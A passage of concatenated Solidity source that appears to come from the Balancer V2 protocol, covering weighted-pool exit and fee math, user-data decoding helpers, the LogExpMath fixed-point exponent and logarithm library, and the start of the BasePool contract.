balanceRatiosWithoutFee[i] = balances[i].sub(amountsOut[i]).divUp(balances[i]);
invariantRatioWithoutFees = invariantRatioWithoutFees.add(
balanceRatiosWithoutFee[i].mulUp(normalizedWeights[i])
);
}
uint256 invariantRatio = FixedPoint.ONE;
for (uint256 i = 0; i < balances.length; i++) {
// Swap fees are typically charged on 'token in', but there is no 'token in' here,
// o we apply it to 'token out'.
// This results in slightly larger price impact.
uint256 amountOutWithFee;
if (invariantRatioWithoutFees > balanceRatiosWithoutFee[i]) {
uint256 nonTaxableAmount = balances[i].mulDown(invariantRatioWithoutFees.complement());
uint256 taxableAmount = amountsOut[i].sub(nonTaxableAmount);
amountOutWithFee = nonTaxableAmount.add(taxableAmount.divUp(swapFee.complement()));
} else {
amountOutWithFee = amountsOut[i];
}
uint256 balanceRatio = balances[i].sub(amountOutWithFee).divDown(balances[i]);
invariantRatio = invariantRatio.mulDown(balanceRatio.powDown(normalizedWeights[i]));
}
return bptTotalSupply.mulUp(invariantRatio.complement());
}
function _calcTokenOutGivenExactBptIn(
uint256 balance,
uint256 normalizedWeight,
uint256 bptAmountIn,
uint256 bptTotalSupply,
uint256 swapFee
) internal pure returns (uint256) {
/*****************************************************************************************
// exactBPTInForTokenOut //
// a = amountOut //
// b = balance / / totalBPT - bptIn \ (1 / w) \ //
// bptIn = bptAmountIn a = b * | 1 - | -------------------------- | ^ | //
// bpt = totalBPT \ \ totalBPT / / //
// w = weight //
*****************************************************************************************/
// Token out, so we round down overall. The multiplication rounds down, but the power rounds up (so the base
// rounds up). Because (totalBPT - bptIn) / totalBPT <= 1, the exponent rounds down.
// Calculate the factor by which the invariant will decrease after burning BPTAmountIn
uint256 invariantRatio = bptTotalSupply.sub(bptAmountIn).divUp(bptTotalSupply);
_require(invariantRatio >= _MIN_INVARIANT_RATIO, Errors.MIN_BPT_IN_FOR_TOKEN_OUT);
// Calculate by how much the token balance has to decrease to match invariantRatio
uint256 balanceRatio = invariantRatio.powUp(FixedPoint.ONE.divDown(normalizedWeight));
// Because of rounding up, balanceRatio can be greater than one. Using complement prevents reverts.
uint256 amountOutWithoutFee = balance.mulDown(balanceRatio.complement());
// We can now compute how much excess balance is being withdrawn as a result of the virtual swaps, which result
// in swap fees.
uint256 taxablePercentage = normalizedWeight.complement();
// Swap fees are typically charged on 'token in', but there is no 'token in' here, so we apply it
// to 'token out'. This results in slightly larger price impact. Fees are rounded up.
uint256 taxableAmount = amountOutWithoutFee.mulUp(taxablePercentage);
uint256 nonTaxableAmount = amountOutWithoutFee.sub(taxableAmount);
return nonTaxableAmount.add(taxableAmount.mulDown(swapFee.complement()));
}
function _calcTokensOutGivenExactBptIn(
uint256[] memory balances,
uint256 bptAmountIn,
uint256 totalBPT
) internal pure returns (uint256[] memory) {
/**********************************************************************************************
// exactBPTInForTokensOut //
// (per token) //
// aO = amountOut / bptIn \ //
// b = balance a0 = b * | --------------------- | //
// bptIn = bptAmountIn \ totalBPT / //
// bpt = totalBPT //
**********************************************************************************************/
// Since we're computing an amount out, we round down overall. This means rounding down on both the
// multiplication and division.
uint256 bptRatio = bptAmountIn.divDown(totalBPT);
uint256[] memory amountsOut = new uint256[](balances.length);
for (uint256 i = 0; i < balances.length; i++) {
amountsOut[i] = balances[i].mulDown(bptRatio);
}
return amountsOut;
}
function _calcDueTokenProtocolSwapFeeAmount(
uint256 balance,
uint256 normalizedWeight,
uint256 previousInvariant,
uint256 currentInvariant,
uint256 protocolSwapFeePercentage
) internal pure returns (uint256) {
/*********************************************************************************
/* protocolSwapFeePercentage * balanceToken * ( 1 - (previousInvariant / currentInvariant) ^ (1 / weightToken))
*********************************************************************************/
if (currentInvariant <= previousInvariant) {
// This shouldn't happen outside of rounding errors, but have this safeguard nonetheless to prevent the Pool
// from entering a locked state in which joins and exits revert while computing accumulated swap fees.
return 0;
}
// We round down to prevent issues in the Pool's accounting, even if it means paying slightly less in protocol
// fees to the Vault.
// Fee percentage and balance multiplications round down, while the subtrahend (power) rounds up (as does the
// base). Because previousInvariant / currentInvariant <= 1, the exponent rounds down.
uint256 base = previousInvariant.divUp(currentInvariant);
uint256 exponent = FixedPoint.ONE.divDown(normalizedWeight);
// Because the exponent is larger than one, the base of the power function has a lower bound. We cap to this
// value to avoid numeric issues, which means in the extreme case (where the invariant growth is larger than
// 1 / min exponent) the Pool will pay less in protocol fees than it should.
base = Math.max(base, FixedPoint.MIN_POW_BASE_FREE_EXPONENT);
uint256 power = base.powUp(exponent);
uint256 tokenAccruedFees = balance.mulDown(power.complement());
return tokenAccruedFees.mulDown(protocolSwapFeePercentage);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../../lib/openzeppelin/IERC20.sol";
import "./WeightedPool.sol";
library WeightedPoolUserDataHelpers {
function joinKind(bytes memory self) internal pure returns (WeightedPool.JoinKind) {
return abi.decode(self, (WeightedPool.JoinKind));
}
function exitKind(bytes memory self) internal pure returns (WeightedPool.ExitKind) {
return abi.decode(self, (WeightedPool.ExitKind));
}
// Joins
function initialAmountsIn(bytes memory self) internal pure returns (uint256[] memory amountsIn) {
(, amountsIn) = abi.decode(self, (WeightedPool.JoinKind, uint256[]));
}
function exactTokensInForBptOut(bytes memory self)
internal
pure
returns (uint256[] memory amountsIn, uint256 minBPTAmountOut)
{
(, amountsIn, minBPTAmountOut) = abi.decode(self, (WeightedPool.JoinKind, uint256[], uint256));
}
function tokenInForExactBptOut(bytes memory self) internal pure returns (uint256 bptAmountOut, uint256 tokenIndex) {
(, bptAmountOut, tokenIndex) = abi.decode(self, (WeightedPool.JoinKind, uint256, uint256));
}
// Exits
function exactBptInForTokenOut(bytes memory self) internal pure returns (uint256 bptAmountIn, uint256 tokenIndex) {
(, bptAmountIn, tokenIndex) = abi.decode(self, (WeightedPool.ExitKind, uint256, uint256));
}
function exactBptInForTokensOut(bytes memory self) internal pure returns (uint256 bptAmountIn) {
(, bptAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256));
}
function bptInForExactTokensOut(bytes memory self)
internal
pure
returns (uint256[] memory amountsOut, uint256 maxBPTAmountIn)
{
(, amountsOut, maxBPTAmountIn) = abi.decode(self, (WeightedPool.ExitKind, uint256[], uint256));
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General internal License for more details.
// You should have received a copy of the GNU General internal License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/* solhint-disable */
/**
* @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).
*
* Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural
* exponentiation and logarithm (where the base is Euler's number).
*
* @author Fernando Martinelli - @fernandomartinelli
* @author Sergio Yuhjtman - @sergioyuhjtman
* @author Daniel Fernandez - @dmf7z
*/
library LogExpMath {
// All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying
// two numbers, and multiply by ONE when dividing them.
// All arguments and return values are 18 decimal fixed point numbers.
int256 constant ONE_18 = 1e18;
// Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the
// case of ln36, 36 decimals.
int256 constant ONE_20 = 1e20;
int256 constant ONE_36 = 1e36;
// The domain of natural exponentiation is bound by the word size and number of decimals used.
//
// Because internally the result will be stored using 20 decimals, the largest possible result is
// (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.
// The smallest possible result is 10^(-18), which makes largest negative argument
// ln(10^(-18)) = -41.446531673892822312.
// We use 130.0 and -41.0 to have some safety margin.
int256 constant MAX_NATURAL_EXPONENT = 130e18;
int256 constant MIN_NATURAL_EXPONENT = -41e18;
// Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point
// 256 bit integer.
int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;
int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;
uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20);
// 18 decimal constants
int256 constant x0 = 128000000000000000000; // 2ˆ7
int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)
int256 constant x1 = 64000000000000000000; // 2ˆ6
int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)
// 20 decimal constants
int256 constant x2 = 3200000000000000000000; // 2ˆ5
int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)
int256 constant x3 = 1600000000000000000000; // 2ˆ4
int256 constant a3 = 888611052050787263676000000; // eˆ(x3)
int256 constant x4 = 800000000000000000000; // 2ˆ3
int256 constant a4 = 298095798704172827474000; // eˆ(x4)
int256 constant x5 = 400000000000000000000; // 2ˆ2
int256 constant a5 = 5459815003314423907810; // eˆ(x5)
int256 constant x6 = 200000000000000000000; // 2ˆ1
int256 constant a6 = 738905609893065022723; // eˆ(x6)
int256 constant x7 = 100000000000000000000; // 2ˆ0
int256 constant a7 = 271828182845904523536; // eˆ(x7)
int256 constant x8 = 50000000000000000000; // 2ˆ-1
int256 constant a8 = 164872127070012814685; // eˆ(x8)
int256 constant x9 = 25000000000000000000; // 2ˆ-2
int256 constant a9 = 128402541668774148407; // eˆ(x9)
int256 constant x10 = 12500000000000000000; // 2ˆ-3
int256 constant a10 = 113314845306682631683; // eˆ(x10)
int256 constant x11 = 6250000000000000000; // 2ˆ-4
int256 constant a11 = 106449445891785942956; // eˆ(x11)
/**
* @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.
*
* Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.
*/
function pow(uint256 x, uint256 y) internal pure returns (uint256) {
if (y == 0) {
// We solve the 0^0 indetermination by making it equal one.
return uint256(ONE_18);
}
if (x == 0) {
return 0;
}
// Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to
// arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means
// x^y = exp(y * ln(x)).
// The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.
_require(x < 2**255, Errors.X_OUT_OF_BOUNDS);
int256 x_int256 = int256(x);
// We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In
// both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.
// This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.
_require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS);
int256 y_int256 = int256(y);
int256 logx_times_y;
if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {
int256 ln_36_x = ln_36(x_int256);
// ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just
// bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal
// multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the
// (downscaled) last 18 decimals.
logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18);
} else {
logx_times_y = ln(x_int256) * y_int256;
}
logx_times_y /= ONE_18;
// Finally, we compute exp(y * ln(x)) to arrive at x^y
_require(
MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,
Errors.PRODUCT_OUT_OF_BOUNDS
);
return uint256(exp(logx_times_y));
}
/**
* @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.
*
* Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.
*/
function exp(int256 x) internal pure returns (int256) {
_require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT);
if (x < 0) {
// We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it
// fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).
// Fixed point division requires multiplying by ONE_18.
return ((ONE_18 * ONE_18) / exp(-x));
}
// First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,
// where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7
// because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the
// decomposition.
// At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this
// decomposition, which will be lower than the smallest x_n.
// exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.
// We mutate x by subtracting x_n, making it the remainder of the decomposition.
// The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause
// intermediate overflows. Instead we store them as plain integers, with 0 decimals.
// Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the
// decomposition.
// For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct
// it and compute the accumulated product.
int256 firstAN;
if (x >= x0) {
x -= x0;
firstAN = a0;
} else if (x >= x1) {
x -= x1;
firstAN = a1;
} else {
firstAN = 1; // One with no decimal places
}
// We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the
// smaller terms.
x *= 100;
// `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point
// one. Recall that fixed point multiplication requires dividing by ONE_20.
int256 product = ONE_20;
if (x >= x2) {
x -= x2;
product = (product * a2) / ONE_20;
}
if (x >= x3) {
x -= x3;
product = (product * a3) / ONE_20;
}
if (x >= x4) {
x -= x4;
product = (product * a4) / ONE_20;
}
if (x >= x5) {
x -= x5;
product = (product * a5) / ONE_20;
}
if (x >= x6) {
x -= x6;
product = (product * a6) / ONE_20;
}
if (x >= x7) {
x -= x7;
product = (product * a7) / ONE_20;
}
if (x >= x8) {
x -= x8;
product = (product * a8) / ONE_20;
}
if (x >= x9) {
x -= x9;
product = (product * a9) / ONE_20;
}
// x10 and x11 are unnecessary here since we have high enough precision already.
// Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series
// expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).
int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.
int256 term; // Each term in the sum, where the nth term is (x^n / n!).
// The first term is simply x.
term = x;
seriesSum += term;
// Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,
// multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.
term = ((term * x) / ONE_20) / 2;
seriesSum += term;
term = ((term * x) / ONE_20) / 3;
seriesSum += term;
term = ((term * x) / ONE_20) / 4;
seriesSum += term;
term = ((term * x) / ONE_20) / 5;
seriesSum += term;
term = ((term * x) / ONE_20) / 6;
seriesSum += term;
term = ((term * x) / ONE_20) / 7;
seriesSum += term;
term = ((term * x) / ONE_20) / 8;
seriesSum += term;
term = ((term * x) / ONE_20) / 9;
seriesSum += term;
term = ((term * x) / ONE_20) / 10;
seriesSum += term;
term = ((term * x) / ONE_20) / 11;
seriesSum += term;
term = ((term * x) / ONE_20) / 12;
seriesSum += term;
// 12 Taylor terms are sufficient for 18 decimal precision.
// We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor
// approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply
// all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),
// and then drop two digits to return an 18 decimal value.
return (((product * seriesSum) / ONE_20) * firstAN) / 100;
}
/**
* @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function ln(int256 a) internal pure returns (int256) {
// The real natural logarithm is not defined for negative numbers or zero.
_require(a > 0, Errors.OUT_OF_BOUNDS);
if (a < ONE_18) {
// Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less
// than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.
// Fixed point division requires multiplying by ONE_18.
return (-ln((ONE_18 * ONE_18) / a));
}
// First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which
// we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,
// ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot
// be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.
// At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this
// decomposition, which will be lower than the smallest a_n.
// ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.
// We mutate a by subtracting a_n, making it the remainder of the decomposition.
// For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point
// numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by
// ONE_18 to convert them to fixed point.
// For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide
// by it and compute the accumulated sum.
int256 sum = 0;
if (a >= a0 * ONE_18) {
a /= a0; // Integer, not fixed point division
sum += x0;
}
if (a >= a1 * ONE_18) {
a /= a1; // Integer, not fixed point division
sum += x1;
}
// All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.
sum *= 100;
a *= 100;
// Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.
if (a >= a2) {
a = (a * ONE_20) / a2;
sum += x2;
}
if (a >= a3) {
a = (a * ONE_20) / a3;
sum += x3;
}
if (a >= a4) {
a = (a * ONE_20) / a4;
sum += x4;
}
if (a >= a5) {
a = (a * ONE_20) / a5;
sum += x5;
}
if (a >= a6) {
a = (a * ONE_20) / a6;
sum += x6;
}
if (a >= a7) {
a = (a * ONE_20) / a7;
sum += x7;
}
if (a >= a8) {
a = (a * ONE_20) / a8;
sum += x8;
}
if (a >= a9) {
a = (a * ONE_20) / a9;
sum += x9;
}
if (a >= a10) {
a = (a * ONE_20) / a10;
sum += x10;
}
if (a >= a11) {
a = (a * ONE_20) / a11;
sum += x11;
}
// a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series
// that converges rapidly for values of `a` close to one - the same one used in ln_36.
// Let z = (a - 1) / (a + 1).
// ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires
// division by ONE_20.
int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);
int256 z_squared = (z * z) / ONE_20;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_20;
seriesSum += num / 3;
num = (num * z_squared) / ONE_20;
seriesSum += num / 5;
num = (num * z_squared) / ONE_20;
seriesSum += num / 7;
num = (num * z_squared) / ONE_20;
seriesSum += num / 9;
num = (num * z_squared) / ONE_20;
seriesSum += num / 11;
// 6 Taylor terms are sufficient for 36 decimal precision.
// Finally, we multiply by 2 (non fixed point) to compute ln(remainder)
seriesSum *= 2;
// We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both
// with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal
// value.
return (sum + seriesSum) / 100;
}
/**
* @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument argument.
*/
function log(int256 arg, int256 base) internal pure returns (int256) {
// This performs a simple base change: log(arg, base) = ln(arg) / ln(base).
// Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by
// upscaling.
int256 logBase;
if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) {
logBase = ln_36(base);
} else {
logBase = ln(base) * ONE_18;
}
int256 logArg;
if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) {
logArg = ln_36(arg);
} else {
logArg = ln(arg) * ONE_18;
}
// When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places
return (logArg * ONE_18) / logBase;
}
/**
* @dev High precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,
* for x close to one.
*
* Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.
*/
function ln_36(int256 x) private pure returns (int256) {
// Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits
// worthwhile.
// First, we transform x to a 36 digit fixed point value.
x *= ONE_18;
// We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).
// ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires
// division by ONE_36.
int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);
int256 z_squared = (z * z) / ONE_36;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_36;
seriesSum += num / 3;
num = (num * z_squared) / ONE_36;
seriesSum += num / 5;
num = (num * z_squared) / ONE_36;
seriesSum += num / 7;
num = (num * z_squared) / ONE_36;
seriesSum += num / 9;
num = (num * z_squared) / ONE_36;
seriesSum += num / 11;
num = (num * z_squared) / ONE_36;
seriesSum += num / 13;
num = (num * z_squared) / ONE_36;
seriesSum += num / 15;
// 8 Taylor terms are sufficient for 36 decimal precision.
// All that remains is multiplying by 2 (non fixed point).
return seriesSum * 2;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/FixedPoint.sol";
import "../lib/helpers/InputHelpers.sol";
import "../lib/helpers/TemporarilyPausable.sol";
import "../lib/openzeppelin/ERC20.sol";
import "./BalancerPoolToken.sol";
import "./BasePoolAuthorization.sol";
import "../vault/interfaces/IVault.sol";
import "../vault/interfaces/IBasePool.sol";
// This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage
// reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus a total
// count, resulting in a large number of state variables.
// solhint-disable max-states-count
/**
* @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with an immutable set
* of registered tokens, no Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism.
*
* Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that
* derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the
* `whenNotPaused` modifier.
*
* No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer.
*
* Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from
* BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces
* and implement the swap callbacks themselves.
*/
abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable {
using FixedPoint for uint256;
uint256 private constant _MIN_TOKENS = 2;
uint256 private constant _MAX_TOKENS = 8;
// 1e18 corresponds to 1.0, or a 100% fee
uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001%
uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10%
uint256 private constant _MINIMUM_BPT = 1e6;
uint256 internal _swapFeePercentage;
IVault private immutable _vault;
bytes32 private immutable _poolId;
uint256 private immutable _totalTokens;
IERC20 internal immutable _token0;
IERC20 internal immutable _token1;
IERC20 internal immutable _token2;
IERC20 internal immutable _token3;
IERC20 internal immutable _token4;
IERC20 internal immutable _token5;
IERC20 internal immutable _token6;
IERC20 internal immutable _token7;
// All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will
// not change throughout its lifetime, and store the corresponding scaling factor for each at construction time.
// These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported.
uint256 internal immutable _scalingFactor0;
uint256 internal immutable _scalingFactor1;
uint256 internal immutable _scalingFactor2;
uint256 internal immutable _scalingFactor3;
uint256 internal immutable _scalingFactor4;
uint256 internal immutable _scalingFactor5;
uint256 internal immutable _scalingFactor6;
uint256 internal immutable _scalingFactor7;
event SwapFeePercentageChanged(uint256 swapFeePercentage);
constructor(
IVault vault,
IVault.PoolSpecialization specialization,
string memory name,
string memory symbol,
IERC20[] memory tokens,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
// Base Pools are expected to be deployed using factories. By using the factory address as the action
// disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for
// simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in
// any Pool created by the same factory), while still making action identifiers unique among different factories
// if the selectors match, preventing accidental errors.
Authentication(bytes32(uint256(msg.sender)))
BalancerPoolToken(name, symbol)
BasePoolAuthorization(owner)
TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration)
{
_require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS);
_require(tokens.length <= _MAX_TOKENS, Errors.MAX_TOKENS);
// The Vault only requires the token list to be ordered for the Two Token Pools specialization. However,
// to make the developer experience consistent, we are requiring this condition for all the native pools.
// Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same
// order. We rely on this property to make Pools simpler to write, as it lets us assume that the
// order of token-specific parameters (such as token weights) will not change.
InputHelpers.ensureArrayIsSorted(tokens);
_setSwapFeePercentage(swapFeePercentage);
bytes32 poolId = vault.registerPool(specialization);
// Pass in zero addresses for Asset Managers
vault.registerTokens(poolId, tokens, new address[](tokens.length));
// Set immutable state variables - these cannot be read from during construction
_vault = vault;
_poolId = poolId;
_totalTokens = tokens.length;
// Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments
_token0 = tokens.length > 0 ? tokens[0] : IERC20(0);
_token1 = tokens.length > 1 ? tokens[1] : IERC20(0);
_token2 = tokens.length > 2 ? tokens[2] : IERC20(0);
_token3 = tokens.length > 3 ? tokens[3] : IERC20(0);
_token4 = tokens.length > 4 ? tokens[4] : IERC20(0);
_token5 = tokens.length > 5 ? tokens[5] : IERC20(0);
_token6 = tokens.length > 6 ? tokens[6] : IERC20(0);
_token7 = tokens.length > 7 ? tokens[7] : IERC20(0);
_scalingFactor0 = tokens.length > 0 ? _computeScalingFactor(tokens[0]) : 0;
_scalingFactor1 = tokens.length > 1 ? _computeScalingFactor(tokens[1]) : 0;
_scalingFactor2 = tokens.length > 2 ? _computeScalingFactor(tokens[2]) : 0;
_scalingFactor3 = tokens.length > 3 ? _computeScalingFactor(tokens[3]) : 0;
_scalingFactor4 = tokens.length > 4 ? _computeScalingFactor(tokens[4]) : 0;
_scalingFactor5 = tokens.length > 5 ? _computeScalingFactor(tokens[5]) : 0;
_scalingFactor6 = tokens.length > 6 ? _computeScalingFactor(tokens[6]) : 0;
_scalingFactor7 = tokens.length > 7 ? _computeScalingFactor(tokens[7]) : 0;
}
// Getters / Setters
function getVault() public view returns (IVault) {
return _vault;
}
function getPoolId() public view returns (bytes32) {
return _poolId;
}
function _getTotalTokens() internal view returns (uint256) {
return _totalTokens;
}
function getSwapFeePercentage() external view returns (uint256) {
return _swapFeePercentage;
}
// Caller must be approved by the Vault's Authorizer
function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused {
_setSwapFeePercentage(swapFeePercentage);
}
function _setSwapFeePercentage(uint256 swapFeePercentage) private {
_require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE);
_require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE);
_swapFeePercentage = swapFeePercentage;
emit SwapFeePercentageChanged(swapFeePercentage);
}
// Caller must be approved by the Vault's Authorizer
function setPaused(bool paused) external authenticate {
_setPaused(paused);
}
// Join / Exit Hooks
modifier onlyVault(bytes32 poolId) {
_require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT);
_require(poolId == getPoolId(), Errors.INVALID_POOL_ID);
_;
}
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory scalingFactors = _scalingFactors();
if (totalSupply() == 0) {
(uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(poolId, sender, recipient, userData);
